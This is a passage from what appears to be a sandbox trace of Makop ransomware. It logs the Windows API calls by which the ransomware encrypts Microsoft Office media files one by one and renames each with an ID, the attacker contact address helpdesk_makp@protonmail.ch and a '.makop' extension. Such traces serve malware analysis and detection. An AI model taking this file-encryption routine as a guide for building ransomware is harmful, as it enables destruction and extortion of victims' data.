(lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.527] CloseHandle (hObject=0xf0) returned 1 [0163.527] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0163.527] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF") returned 61 [0163.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.529] GetProcessHeap () returned 0x48a0000 [0163.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.529] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0163.537] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.537] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.537] GetProcessHeap () returned 0x48a0000 [0163.537] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.538] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.538] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.539] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.539] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.539] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.539] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.539] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd4f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd4f, lpOverlapped=0x0) returned 1 [0163.539] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd50, dwBufLen=0xd50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd50) returned 1 [0163.539] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.539] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd50, lpOverlapped=0x0) returned 1 [0163.540] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.540] SetEndOfFile (hFile=0xf0) returned 1 [0163.546] GetProcessHeap () returned 0x48a0000 [0163.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.546] GetProcessHeap () returned 0x48a0000 [0163.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.546] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.549] CloseHandle (hObject=0xf0) returned 1 [0163.549] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0163.549] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF") returned 61 [0163.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.551] GetProcessHeap () returned 0x48a0000 [0163.551] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.551] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.551] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.551] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.551] GetProcessHeap () returned 0x48a0000 [0163.551] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.552] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.552] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.552] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.556] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.556] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.556] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.557] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.557] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1820, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1820, lpOverlapped=0x0) returned 1 [0163.558] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1820, dwBufLen=0x1820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1820) returned 1 [0163.558] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.558] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1820, lpOverlapped=0x0) returned 1 [0163.559] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.559] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.559] SetEndOfFile (hFile=0xf0) returned 1 [0163.566] GetProcessHeap () returned 0x48a0000 [0163.566] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.566] GetProcessHeap () returned 0x48a0000 [0163.566] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.566] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.568] CloseHandle (hObject=0xf0) returned 1 [0163.568] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0163.568] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF") returned 61 [0163.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.569] GetProcessHeap () returned 0x48a0000 [0163.569] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.570] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.570] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.570] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0163.576] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.576] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.576] GetProcessHeap () returned 0x48a0000 [0163.576] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.576] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.577] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.577] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.577] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.577] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.577] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.578] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.578] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.578] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.578] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.578] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.579] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa24, lpOverlapped=0x0) returned 1 [0163.579] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa30, dwBufLen=0xa30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa30) returned 1 [0163.580] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.580] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa30, lpOverlapped=0x0) returned 1 [0163.580] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.580] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.580] SetEndOfFile (hFile=0xf0) returned 1 [0163.586] GetProcessHeap () returned 0x48a0000 [0163.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.586] GetProcessHeap () returned 0x48a0000 [0163.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.587] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.589] CloseHandle (hObject=0xf0) returned 1 [0163.589] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0163.589] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF") returned 61 [0163.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.591] GetProcessHeap () returned 0x48a0000 [0163.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.592] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.592] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.592] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0163.599] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.599] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.599] GetProcessHeap () returned 0x48a0000 [0163.599] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.599] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.599] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.599] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.599] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.599] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.600] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.600] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.600] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.600] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.600] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13d6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13d6, lpOverlapped=0x0) returned 1 [0163.602] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13e0, dwBufLen=0x13e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13e0) returned 1 [0163.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13e0, lpOverlapped=0x0) returned 1 [0163.602] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.602] SetEndOfFile (hFile=0xf0) returned 1 [0163.608] GetProcessHeap () returned 0x48a0000 [0163.608] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.608] 